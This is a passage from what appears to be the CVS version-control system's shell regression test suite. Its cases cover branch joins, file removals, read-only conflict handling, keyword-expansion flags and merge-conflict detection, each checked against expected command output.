deletion. When \"project\"\n\t # is merged into \"pvcs\", we expect CVS to remove the file without\n\t # fuss, as there is no conflict.\n mkdir join9; cd join9\n mkdir combine\n mkdir base\n mkdir pvcs\n mkdir project\n \n echo \"aaa\" >base/file.txt\n echo \"aaa\" >pvcs/file.txt\n echo \"ccc\" >project/xxx.txt\n \n cd base\n dotest join9-1 \\\n\"$testcvs import -b 1.1.101 -ko -m 'base import' join9 base base-1\" \\\n\"N join9/file\\.txt\n\nNo conflicts created by this import\"\n\n cd ../pvcs\n dotest join9-2 \\\n\"$testcvs import -b 1.1.201 -ko -m 'pvcs import' join9 pvcs pvcs-1\" \\\n\"C join9/file\\.txt\n\n1 conflicts created by this import.\nUse the following command to help the merge:\n\n\t$PROG checkout -j -jpvcs-1 join9\"\n\n cd ../project\n dotest join9-3 \\\n\"$testcvs import -b 1.1.301 -ko -m 'project import' join9 project project-1\" \\\n\"N join9/xxx\\.txt\n\nNo conflicts created by this import\"\n\n cd ..\n dotest join9-4 \\\n\"$testcvs checkout -r pvcs-1 -j base-1 -j project-1 -d combine join9\" \\\n\"$PROG checkout: Updating combine\nU combine/file\\.txt\n$PROG checkout: scheduling combine/file\\.txt for removal\nU combine/xxx\\.txt\"\n\n cd ..\n\n if $keep; then\n echo Keeping $TESTDIR and exiting due to --keep\n exit 0\n fi\n\n rm -r join9\n rm -rf $CVSROOT_DIRNAME/join9\n ;;\n\n\n\n\tjoin-readonly-conflict)\n\t # Previously, only tests 1 & 11 were being tested. I added the\n\t # intermediate dotest's to try and diagnose a different failure\n\t #\n\t # Demonstrate that cvs-1.9.29 can fail on 2nd and subsequent\n\t # conflict-evoking join attempts.\n\t # Even with that version of CVS, This test failed only in\n\t # client-server mode, and would have been noticed in normal\n\t # operation only for files that were read-only (either due to\n\t # use of cvs' global -r option, setting the CVSREAD envvar,\n\t # or use of watch lists).\n\t mkdir join-readonly-conflict; cd join-readonly-conflict\n\t dotest join-readonly-conflict-1 \"$testcvs -q co -l .\" ''\n\t module=join-readonly-conflict\n\t mkdir $module\n\t $testcvs -q add $module >>$LOGFILE 2>&1\n\t cd $module\n\n\t file=m\n\t echo trunk > $file\n\t dotest join-readonly-conflict-2 \"$testcvs -Q add $file\" ''\n\n\t dotest join-readonly-conflict-3 \"$testcvs -q ci -m . $file\" \\\n\"RCS file: $CVSROOT_DIRNAME/$module/$file,v\ndone\nChecking in $file;\n$CVSROOT_DIRNAME/$module/$file,v <-- $file\ninitial revision: 1\\.1\ndone\"\n\n\t dotest join-readonly-conflict-4 \"$testcvs tag -b B $file\" \"T $file\"\n\t dotest join-readonly-conflict-5 \"$testcvs -q update -rB $file\" \\\n\"[UP] $file\"\n\t echo branch B > $file\n\t dotest join-readonly-conflict-6 \"$testcvs -q ci -m . $file\" \\\n\"Checking in $file;\n$CVSROOT_DIRNAME/$module/$file,v <-- $file\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\n\t rm $file\n\t dotest join-readonly-conflict-7 \"$testcvs -Q update -A $file\" ''\n\t # Make sure $file is read-only. This can happen more realistically\n\t # via patch -- which could be used to apply a delta, yet would\n\t # preserve a file's read-only permissions.\n\t echo conflict > $file; chmod u-w $file\n\t dotest join-readonly-conflict-8 \"$testcvs update -r B $file\" \\\n\"RCS file: $CVSROOT_DIRNAME/$module/$file,v\nretrieving revision 1\\.1\nretrieving revision 1\\.1\\.2\\.1\nMerging differences between 1\\.1 and 1\\.1\\.2\\.1 into $file\nrcsmerge: warning: conflicts during merge\n${PROG} update: conflicts found in $file\nC $file\"\n\n\t # restore to the trunk\n\t rm -f $file\n\t dotest join-readonly-conflict-9 \"$testcvs -Q update -A $file\" ''\n\n\t # This one would fail because cvs couldn't open the existing\n\t # (and read-only) .# file for writing.\n\t echo conflict > $file\n\n\t # verify that the backup file is not writable\n\t if test -w \".#$file.1.1\"; then\n\t fail \"join-readonly-conflict-10 : .#$file.1.1 is writable\"\n\t else\n\t pass \"join-readonly-conflict-10\"\n\t fi\n\t dotest join-readonly-conflict-11 \"$testcvs update -r B $file\" \\\n\"RCS file: $CVSROOT_DIRNAME/$module/$file,v\nretrieving revision 1\\.1\nretrieving revision 1\\.1\\.2\\.1\nMerging differences between 1\\.1 and 1\\.1\\.2\\.1 into $file\nrcsmerge: warning: conflicts during merge\n${PROG} update: conflicts found in $file\nC m\"\n\n\t cd ../..\n\t if $keep; then :; else\n\t rm -rf join-readonly-conflict\n\t rm -rf $CVSROOT_DIRNAME/$module\n\t fi\n\t ;;\n\n\tjoin-admin)\n\t mkdir 1; cd 1\n\t dotest join-admin-1 \"$testcvs -q co -l .\" ''\n\t module=x\n\t mkdir $module\n\t $testcvs -q add $module >>$LOGFILE 2>&1\n\t cd $module\n\n\t # Create a file so applying the first tag works.\n\t echo foo > a\n\t $testcvs -Q add a > /dev/null 2>&1\n\t $testcvs -Q ci -m. a > /dev/null 2>&1\n\n\t $testcvs -Q tag -b B\n\t $testcvs -Q tag -b M1\n\t echo '$''Id$' > b\n\t $testcvs -Q add b > /dev/null 2>&1\n\t $testcvs -Q ci -m. b > /dev/null 2>&1\n\t $testcvs -Q tag -b M2\n\n\t $testcvs -Q update -r B\n\t $testcvs -Q update -kk -jM1 -jM2\n\t $testcvs -Q ci -m. b >/dev/null 2>&1\n\n\t $testcvs -Q update -A\n\n\t # Verify that the -kk flag from the update did not\n\t # propagate to the repository.\n\t dotest join-admin-1 \"$testcvs status b\" \\\n\"===================================================================\nFile: b \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/x/b,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\n\t cd ../..\n\t rm -rf 1\n\t rm -rf ${CVSROOT_DIRNAME}/$module\n\t ;;\n\n\tjoin-admin-2)\n\t # Show that when a merge (via update -kk -jtag1 -jtag2) first\n\t # removes a file, then modifies another containing an $Id...$ line,\n\t # the resulting file contains the unexpanded `$Id.$' string, as\n\t # -kk requires.\n\t mkdir 1; cd 1\n\t dotest join-admin-2-1 \"$testcvs -q co -l .\" ''\n\t module=x\n\t mkdir $module\n\t dotest join-admin-2-2 \"$testcvs -q add $module\" \\\n\"Directory ${CVSROOT_DIRNAME}/x added to the repository\"\n\t cd $module\n\n\t # Create a file so applying the first tag works.\n\t echo '$''Id$' > e0\n\t cp e0 e\n\t dotest join-admin-2-3 \"$testcvs -Q add e\" ''\n\t dotest join-admin-2-4 \"$testcvs -Q ci -m. e\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/x/e,v\ndone\nChecking in e;\n${CVSROOT_DIRNAME}/x/e,v <-- e\ninitial revision: 1\\.1\ndone\"\n\n\t dotest join-admin-2-5 \"$testcvs -Q tag -b T\" '' \"${QUESTION} e0\"\n\t dotest join-admin-2-6 \"$testcvs -Q update -r T\" '' \"${QUESTION} e0\"\n\t cp e0 e\n\t dotest join-admin-2-7 \"$testcvs -Q ci -m. e\" \\\n\"Checking in e;\n${CVSROOT_DIRNAME}/x/e,v <-- e\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\n\t dotest join-admin-2-8 \"$testcvs -Q update -A\" '' \"${QUESTION} e0\"\n\t dotest join-admin-2-9 \"$testcvs -Q tag -b M1\" '' \"${QUESTION} e0\"\n\n\t echo '$''Id$' > b\n\t dotest join-admin-2-10 \"$testcvs -Q add b\" ''\n\t cp e0 e\n\t dotest join-admin-2-11 \"$testcvs -Q ci -m. b e\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/x/b,v\ndone\nChecking in b;\n${CVSROOT_DIRNAME}/x/b,v <-- b\ninitial revision: 1\\.1\ndone\nChecking in e;\n${CVSROOT_DIRNAME}/x/e,v <-- e\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t dotest join-admin-2-12 \"$testcvs -Q tag -b M2\" '' \"${QUESTION} e0\"\n\n\t dotest join-admin-2-13 \"$testcvs -Q update -r T\" '' \"${QUESTION} e0\"\n\t dotest join-admin-2-14 \"$testcvs update -kk -jM1 -jM2\" \\\n\"${PROG} update: Updating .\nU b\nU e\nRCS file: ${CVSROOT_DIRNAME}/x/e,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1 and 1\\.2 into e\ne already contains the differences between 1\\.1 and 1\\.2\n${QUESTION} e0\" \\\n\"${QUESTION} e0\n${PROG} update: Updating .\nU b\nU e\nRCS file: ${CVSROOT_DIRNAME}/x/e,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1 and 1\\.2 into e\ne already contains the differences between 1\\.1 and 1\\.2\"\n\n\t # Verify that the $Id.$ string is not expanded.\n\t dotest join-admin-2-15 \"cat e\" '$''Id$'\n\n\t cd ../..\n\t rm -rf 1\n\t rm -rf ${CVSROOT_DIRNAME}/$module\n\t ;;\n\n\tjoin-rm)\n\t # This first half of this test checks that a single-argument merge\n\t # from a branch is capable of removing files.\n\t #\n\t # The second half verifies that an update to another location with an\n\t # uncommitted removal will transfer the destination branch of the\n\t # removal.\n\n\t module=join-rm\n\t mkdir $module; cd $module\n\n\t dotest join-rm-init-1 \"$testcvs -q co -l .\" ''\n\t mkdir $module\n\t dotest join-rm-init-2 \"$testcvs -q add $module\" \\\n\"Directory $CVSROOT_DIRNAME/$module added to the repository\"\n\t cd $module\n\n\t # add some files.\n\t touch a b c d e f g\n\t dotest join-rm-init-3 \"$testcvs -Q add a b c d e f g\"\n\t dotest join-rm-init-4 \"$testcvs -Q ci -m add-em\" \\\n\"RCS file: $CVSROOT_DIRNAME/join-rm/a,v\ndone\nChecking in a;\n$CVSROOT_DIRNAME/join-rm/a,v <-- a\ninitial revision: 1\\.1\ndone\nRCS file: $CVSROOT_DIRNAME/join-rm/b,v\ndone\nChecking in b;\n$CVSROOT_DIRNAME/join-rm/b,v <-- b\ninitial revision: 1\\.1\ndone\nRCS file: $CVSROOT_DIRNAME/join-rm/c,v\ndone\nChecking in c;\n$CVSROOT_DIRNAME/join-rm/c,v <-- c\ninitial revision: 1\\.1\ndone\nRCS file: $CVSROOT_DIRNAME/join-rm/d,v\ndone\nChecking in d;\n$CVSROOT_DIRNAME/join-rm/d,v <-- d\ninitial revision: 1\\.1\ndone\nRCS file: $CVSROOT_DIRNAME/join-rm/e,v\ndone\nChecking in e;\n$CVSROOT_DIRNAME/join-rm/e,v <-- e\ninitial revision: 1\\.1\ndone\nRCS file: $CVSROOT_DIRNAME/join-rm/f,v\ndone\nChecking in f;\n$CVSROOT_DIRNAME/join-rm/f,v <-- f\ninitial revision: 1\\.1\ndone\nRCS file: $CVSROOT_DIRNAME/join-rm/g,v\ndone\nChecking in g;\n$CVSROOT_DIRNAME/join-rm/g,v <-- g\ninitial revision: 1\\.1\ndone\"\n\t \n\t # create the branch and update to it\n\t dotest join-rm-init-5 \"$testcvs -Q tag -b br\"\n\t dotest join-rm-init-6 \"$testcvs -Q up -rbr\"\n\n\t # remove a few files from the branch\n\t dotest join-rm-init-7 \"$testcvs -Q rm -f b d g\"\n\t dotest join-rm-init-8 \"$testcvs -Q ci -mrm\" \\\n\"Removing b;\n$CVSROOT_DIRNAME/join-rm/b,v <-- b\nnew revision: delete; previous revision: 1\\.1\ndone\nRemoving d;\n$CVSROOT_DIRNAME/join-rm/d,v <-- d\nnew revision: delete; previous revision: 1\\.1\ndone\nRemoving g;\n$CVSROOT_DIRNAME/join-rm/g,v <-- g\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\n\t # update to the trunk\n\t dotest join-rm-init-9 \"$testcvs -Q up -A\"\n\n\t # now for the test - try and merge the removals.\n\t dotest join-rm-1 \"$testcvs -q up -jbr\" \\\n\"$PROG update: scheduling b for removal\n$PROG update: scheduling d for removal\n$PROG update: scheduling g for removal\"\n\n\t # And make sure the merge took\n\t dotest join-rm-2 \"$testcvs -qn up\" \\\n\"R b\nR d\nR g\"\n\n\t dotest join-rm-3 \"$testcvs -q ci -m 'save the merge'\" \\\n\"Removing b;\n$CVSROOT_DIRNAME/join-rm/b,v <-- b\nnew revision: delete; previous revision: 1\\.1\ndone\nRemoving d;\n$CVSROOT_DIRNAME/join-rm/d,v <-- d\nnew revision: delete; previous revision: 1\\.1\ndone\nRemoving g;\n$CVSROOT_DIRNAME/join-rm/g,v <-- g\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\n\t # and verify that it was the head revision which was removed.\n\t dotest join-rm-4 \"$testcvs -q log b\" \"\nRCS file: $CVSROOT_DIRNAME/join-rm/Attic/b,v\nWorking file: b\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tbr: 1\\.1\\.0\\.2\nkeyword substitution: kv\ntotal revisions: 3;\tselected revisions: 3\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: $username; state: dead; lines: ${PLUS}0 -0\nsave the merge\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: Exp;\nbranches: 1.1.2;\nadd-em\n----------------------------\nrevision 1\\.1\\.2\\.1\ndate: [0-9/]* [0-9:]*; author: $username; state: dead; lines: ${PLUS}0 -0\nrm\n=============================================================================\"\n\n\t # go back to the branch to set up for the second set of tests\n\t dotest join-rm-init-10 \"$testcvs -Q up -rbr\"\n\t dotest join-rm-init-11 \"$testcvs -Q rm -f a\"\n\t dotest join-rm-init-12 \"$testcvs -Q ci -m rma\" \\\n\"Removing a;\n$CVSROOT_DIRNAME/join-rm/a,v <-- a\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\n\t # now the test: update to the trunk\n\t #\n\t # FIXCVS: This update should merge the removal to the trunk. It does\n\t # not.\n\t dotest join-rm-5 \"$testcvs -q up -A\" \\\n'U a\nU c\nU e\nU f'\n\n\t # and verify that there is no sticky tag\n\t dotest join-rm-6 \"$testcvs status a\" \\\n\"===================================================================\nFile: a \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t$CVSROOT_DIRNAME/join-rm/a,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\n\t if $keep; then\n\t echo Keeping $TESTDIR and exiting due to --keep\n exit 0\n\t fi\n\n\t cd ../..\n\t rm -rf $CVSROOT_DIRNAME/$module\n\t rm -r $module\n\t ;;\n\n\tnew) # look for stray \"no longer pertinent\" messages.\n\t\tmkdir ${CVSROOT_DIRNAME}/first-dir\n\n\t\tif ${CVS} co first-dir ; then\n\t\t pass 117\n\t\telse\n\t\t fail 117\n\t\tfi\n\n\t\tcd first-dir\n\t\ttouch a\n\n\t\tif ${CVS} add a 2>>${LOGFILE}; then\n\t\t pass 118\n\t\telse\n\t\t fail 118\n\t\tfi\n\n\t\tif ${CVS} ci -m added >>${LOGFILE} 2>&1; then\n\t\t pass 119\n\t\telse\n\t\t fail 119\n\t\tfi\n\n\t\trm a\n\n\t\tif ${CVS} rm a 2>>${LOGFILE}; then\n\t\t pass 120\n\t\telse\n\t\t fail 120\n\t\tfi\n\n\t\tif ${CVS} ci -m removed >>${LOGFILE} ; then\n\t\t pass 121\n\t\telse\n\t\t fail 121\n\t\tfi\n\n\t\tif ${CVS} update -A 2>&1 | grep longer ; then\n\t\t fail 122\n\t\telse\n\t\t pass 122\n\t\tfi\n\n\t\tif ${CVS} update -rHEAD 2>&1 | grep longer ; then\n\t\t fail 123\n\t\telse\n\t\t pass 123\n\t\tfi\n\n\t\tcd ..\n\t\trm -r first-dir\n\t\trm -rf ${CVSROOT_DIRNAME}/first-dir\n\t\t;;\n\n\tnewb)\n\t # Test removing a file on a branch and then checking it out.\n\n\t # We call this \"newb\" only because it, like the \"new\" tests,\n\t # has something to do with \"no longer pertinent\" messages.\n\t # Not necessarily the most brilliant nomenclature.\n\n\t # Create file 'a'.\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t dotest newb-123a \"${testcvs} -q co first-dir\" ''\n\t cd first-dir\n\t touch a\n\t dotest newb-123b \"${testcvs} add a\" \\\n\"${PROG} add: scheduling file .a. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest newb-123c \"${testcvs} -q ci -m added\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/a,v\ndone\nChecking in a;\n${CVSROOT_DIRNAME}/first-dir/a,v <-- a\ninitial revision: 1\\.1\ndone\"\n\n\t # Make a branch.\n\t dotest newb-123d \"${testcvs} -q tag -b branch\" \"T a\"\n\n\t # Check out the branch.\n\t cd ..\n\t rm -r first-dir\n\t mkdir 1\n\t cd 1\n\t dotest newb-123e \"${testcvs} -q co -r branch first-dir\" \\\n\"U first-dir/a\"\n\n\t # Remove 'a' on another copy of the branch.\n\t cd ..\n\t mkdir 2\n\t cd 2\n\t dotest newb-123f \"${testcvs} -q co -r branch first-dir\" \\\n\"U first-dir/a\"\n\t cd first-dir\n\t rm a\n\t dotest newb-123g \"${testcvs} rm a\" \\\n\"${PROG} remove: scheduling .a. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t dotest newb-123h \"${testcvs} -q ci -m removed\" \\\n\"Removing a;\n${CVSROOT_DIRNAME}/first-dir/a,v <-- a\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\n\t # Check out the file on the branch. This should report\n\t # that the file is not pertinent, but it should not\n\t # say anything else.\n\t cd ..\n\t rm -r first-dir\n\t dotest newb-123i \"${testcvs} -q co -r branch first-dir/a\" \\\n\"${PROG} checkout: warning: first-dir/a is not (any longer) pertinent\"\n\n\t # Update the other copy, and make sure that a is removed.\n\t cd ../1/first-dir\n\t # \"Entry Invalid\" is a rather strange output here. Something like\n\t # \"Removed in Repository\" would make more sense.\n\t dotest newb-123j0 \"${testcvs} status a\" \\\n\"${PROG} status: a is no longer in the repository\n===================================================================\nFile: a \tStatus: Entry Invalid\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\\.2\\.1\t${CVSROOT_DIRNAME}/first-dir/a,v\n Sticky Tag:\t\tbranch (branch: 1\\.1\\.2)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest newb-123j \"${testcvs} -q update\" \\\n\"${PROG} update: a is no longer in the repository\"\n\n\t if test -f a; then\n\t fail newb-123k\n\t else\n\t pass newb-123k\n\t fi\n\n\t cd ../..\n\t rm -r 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tconflicts)\n\t\tmkdir ${CVSROOT_DIRNAME}/first-dir\n\n\t\tmkdir 1\n\t\tcd 1\n\n\t\tdotest conflicts-124 \"${testcvs} -q co first-dir\" ''\n\n\t\tcd first-dir\n\t\ttouch a\n\n\t\tdotest conflicts-125 \"${testcvs} add a\" \\\n\"${PROG} add: scheduling file .a. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t\tdotest conflicts-126 \"${testcvs} -q ci -m added\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/a,v\ndone\nChecking in a;\n${CVSROOT_DIRNAME}/first-dir/a,v <-- a\ninitial revision: 1\\.1\ndone\"\n\n\t\tcd ../..\n\t\tmkdir 2\n\t\tcd 2\n\n\t\tdotest conflicts-126.5 \"${testcvs} co -p first-dir\" \\\n\"${PROG} checkout: Updating first-dir\n===================================================================\nChecking out first-dir/a\nRCS: ${CVSROOT_DIRNAME}/first-dir/a,v\nVERS: 1\\.1\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\"\n\t\tif ${CVS} co first-dir ; then\n\t\t pass 127\n\t\telse\n\t\t fail 127\n\t\tfi\n\t\tcd first-dir\n\t\tif test -f a; then\n\t\t pass 127a\n\t\telse\n\t\t fail 127a\n\t\tfi\n\n\t\tcd ../../1/first-dir\n\t\techo add a line >>a\n\t\tmkdir dir1\n\t\tdotest conflicts-127b \"${testcvs} add dir1\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/dir1 added to the repository\"\n\t\tdotest conflicts-128 \"${testcvs} -q ci -m changed\" \\\n\"Checking in a;\n${CVSROOT_DIRNAME}/first-dir/a,v <-- a\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t\tcd ../..\n\n\t\t# Similar to conflicts-126.5, but now the file has nonempty\n\t\t# contents.\n\t\tmkdir 3\n\t\tcd 3\n\t\tdotest conflicts-128.5 \"${testcvs} co -p -l first-dir\" \\\n\"${PROG} checkout: Updating first-dir\n===================================================================\nChecking out first-dir/a\nRCS: ${CVSROOT_DIRNAME}/first-dir/a,v\nVERS: 1\\.2\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nadd a line\"\n\t\tcd ..\n\t\trmdir 3\n\n\t\t# Now go over the to the other working directory and\n\t\t# start testing conflicts\n\t\tcd 2/first-dir\n\t\techo add a conflicting line >>a\n\t\tdotest_fail conflicts-129 \"${testcvs} -q ci -m changed\" \\\n\"${PROG}\"' commit: Up-to-date check failed for `a'\\''\n'\"${PROG}\"' \\[commit aborted\\]: correct above errors first!'\n\t\tmkdir dir1\n\t\tmkdir sdir\n\t\tdotest conflicts-status-0 \"${testcvs} status a\" \\\n\"===================================================================\nFile: a \tStatus: Needs Merge\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.2\t${CVSROOT_DIRNAME}/first-dir/a,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t\tdotest conflicts-129a \"${testcvs} -nq update a\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/a,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1 and 1\\.2 into a\nrcsmerge: warning: conflicts during merge\n${PROG} update: conflicts found in a\nC a\"\n\t\tdotest conflicts-130 \"${testcvs} -q update\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/a,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1 and 1\\.2 into a\nrcsmerge: warning: conflicts during merge\n${PROG} update: conflicts found in a\nC a\n${QUESTION} dir1\n${QUESTION} sdir\" \\\n\"${QUESTION} dir1\n${QUESTION} sdir\nRCS file: ${CVSROOT_DIRNAME}/first-dir/a,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1 and 1\\.2 into a\nrcsmerge: warning: conflicts during merge\n${PROG} update: conflicts found in a\nC a\"\n\t\trmdir dir1 sdir\n\n\t\tdotest conflicts-status-1 \"${testcvs} status a\" \\\n\"===================================================================\nFile: a \tStatus: Unresolved Conflict\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT_DIRNAME}/first-dir/a,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t\tdotest_fail conflicts-131 \"${testcvs} -q ci -m try\" \\\n\"${PROG} commit: file .a. had a conflict and has not been modified\n${PROG} \\[commit aborted\\]: correct above errors first!\"\n\n\t\t# Try to check in the file with the conflict markers in it.\n\t\t# Make sure we detect any one of the three conflict markers\n\t\tmv a aa\n\t\tgrep '^<<<<<<<' aa >a\n\t\tdotest conflicts-status-2 \"${testcvs} -nq ci -m try a\" \\\n\"${PROG} commit: warning: file .a. seems to still contain conflict indicators\"\n\n\t\tgrep '^=======' aa >a\n\t\tdotest conflicts-status-3 \"${testcvs} -nq ci -m try a\" \\\n\"${PROG} commit: warning: file .a. seems to still contain conflict indicators\"\n\n\t\tgrep '^>>>>>>>' aa >a\n\t\tdotest conflicts-status-4 \"${testcvs} -qn ci -m try a\" \\\n\"${PROG} commit: warning: file .a. seems to still contain conflict indicators\"\n\n\t\tmv aa a\n\t\techo lame attempt at resolving it >>a\n\t\tdotest conflicts-status-5 \"${testcvs} status a\" \\\n\"===================================================================\nFile: a \tStatus: File had conflicts on merge\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT_DIRNAME}/first-dir/a,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t\tdotest conflicts-132 \"${testcvs} -q ci -m try\" \\\n\"${PROG} commit: warning: file .a. seems to still contain conflict indicators\nChecking in a;\n${CVSROOT_DIRNAME}/first-dir/a,v <-- a\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\n\t\t# OK, the user saw the warning (good user), and now\n\t\t# resolves it for real.\n\t\techo resolve conflict >a\n\t\tdotest conflicts-status-6 \"${testcvs} status a\" \\\n\"===================================================================\nFile: a \tStatus: Locally Modified\n\n Working revision:\t1\\.3.*\n Repository revision:\t1\\.3\t${CVSROOT_DIRNAME}/first-dir/a,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t\tdotest conflicts-133 \"${testcvs} -q ci -m resolved\" \\\n\"Checking in a;\n${CVSROOT_DIRNAME}/first-dir/a,v <-- a\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\"\n\t\tdotest conflicts-status-7 \"${testcvs} status a\" \\\n\"===================================================================\nFile: a \tStatus: Up-to-date\n\n Working revision:\t1\\.4.*\n Repository revision:\t1\\.4\t${CVSROOT_DIRNAME}/first-dir/a,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\n\t\t# Now test that we can add a file in one working directory\n\t\t# and have an update in another get it.\n\t\tcd ../../1/first-dir\n\t\techo abc >abc\n\t\tif ${testcvs} add abc >>${LOGFILE} 2>&1; then\n\t\t pass 134\n\t\telse\n\t\t fail 134\n\t\tfi\n\t\tif ${testcvs} ci -m 'add abc' abc >>${LOGFILE} 2>&1; then\n\t\t pass 135\n\t\telse\n\t\t fail 135\n\t\tfi\n\t\tcd ../../2\n\t\tmkdir first-dir/dir1 first-dir/sdir\n\t\tdotest conflicts-136 \"${testcvs} -q update first-dir\" \\\n'[UP] first-dir/abc\n'\"${QUESTION}\"' first-dir/dir1\n'\"${QUESTION}\"' first-dir/sdir' \\\n''\"${QUESTION}\"' first-dir/dir1\n'\"${QUESTION}\"' first-dir/sdir\n[UP] first-dir/abc'\n\t\tdotest conflicts-137 'test -f first-dir/abc' ''\n\t\trmdir first-dir/dir1 first-dir/sdir\n\n\t\t# Now test something similar, but in which the parent directory\n\t\t# (not the directory in question) has the Entries.Static flag\n\t\t# set.\n\t\tcd ../1/first-dir\n\t\tmkdir subdir\n\t\tif ${testcvs} add subdir >>${LOGFILE}; then\n\t\t pass 138\n\t\telse\n\t\t fail 138\n\t\tfi\n\t\tcd ../..\n\t\tmkdir 3\n\t\tcd 3\n\t\tif ${testcvs} -q co first-dir/abc first-dir/subdir \\\n\t\t >>${LOGFILE}; then\n\t\t pass 139\n\t\telse\n\t\t fail 139\n\t\tfi\n\t\tcd ../1/first-dir/subdir\n\t\techo sss >sss\n\t\tif ${testcvs} add sss >>${LOGFILE} 2>&1; then\n\t\t pass 140\n\t\telse\n\t\t fail 140\n\t\tfi\n\t\tif ${testcvs} ci -m adding sss >>${LOGFILE} 2>&1; then\n\t\t pass 140\n\t\telse\n\t\t fail 140\n\t\tfi\n\t\tcd ../../../3/first-dir\n\t\tif ${testcvs} -q update >>${LOGFILE}; then\n\t\t pass 141\n\t\telse\n\t\t fail 141\n\t\tfi\n\t\tif test -f subdir/sss; then\n\t\t pass 142\n\t\telse\n\t\t fail 142\n\t\tfi\n\t\tcd ../..\n\t\trm -r 1 2 3 ; rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t\t;;\n\n\tconflicts2)\n\t # More conflicts tests; separate from conflicts to keep each\n\t # test a manageable size.\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\n\t mkdir 1\n\t cd 1\n\n\t dotest conflicts2-142a1 \"${testcvs} -q co first-dir\" ''\n\n\t cd first-dir\n\t touch a abc\n\n\t dotest conflicts2-142a2 \"${testcvs} add a abc\" \\\n\"${PROG} add: scheduling file .a. for addition\n${PROG} add: scheduling file .abc. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest conflicts2-142a3 \"${testcvs} -q ci -m added\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/a,v\ndone\nChecking in a;\n${CVSROOT_DIRNAME}/first-dir/a,v <-- a\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/abc,v\ndone\nChecking in abc;\n${CVSROOT_DIRNAME}/first-dir/abc,v <-- abc\ninitial revision: 1\\.1\ndone\"\n\n\t cd ../..\n\t mkdir 2\n\t cd 2\n\n\t dotest conflicts2-142a4 \"${testcvs} -q co first-dir\" 'U first-dir/a\nU first-dir/abc'\n\t cd ..\n\n\t # BEGIN TESTS USING THE FILE A\n\t # FIXME: would be cleaner to separate them out into their own\n\t # tests; conflicts2 is getting long.\n\t # Now test that if one person modifies and commits a\n\t # file and a second person removes it, it is a\n\t # conflict\n\t cd 1/first-dir\n\t echo modify a >>a\n\t dotest conflicts2-142b2 \"${testcvs} -q ci -m modify-a\" \\\n\"Checking in a;\n${CVSROOT_DIRNAME}/first-dir/a,v <-- a\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t cd ../../2/first-dir\n\t rm a\n\t dotest conflicts2-142b3 \"${testcvs} rm a\" \\\n\"${PROG} remove: scheduling .a. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t dotest_fail conflicts2-142b4 \"${testcvs} -q update\" \\\n\"${PROG} update: conflict: removed a was modified by second party\nC a\"\n\t # Resolve the conflict by deciding not to remove the file\n\t # after all.\n\t dotest_sort conflicts2-142b5 \"${testcvs} add a\" \"U a\n${PROG} add: a, version 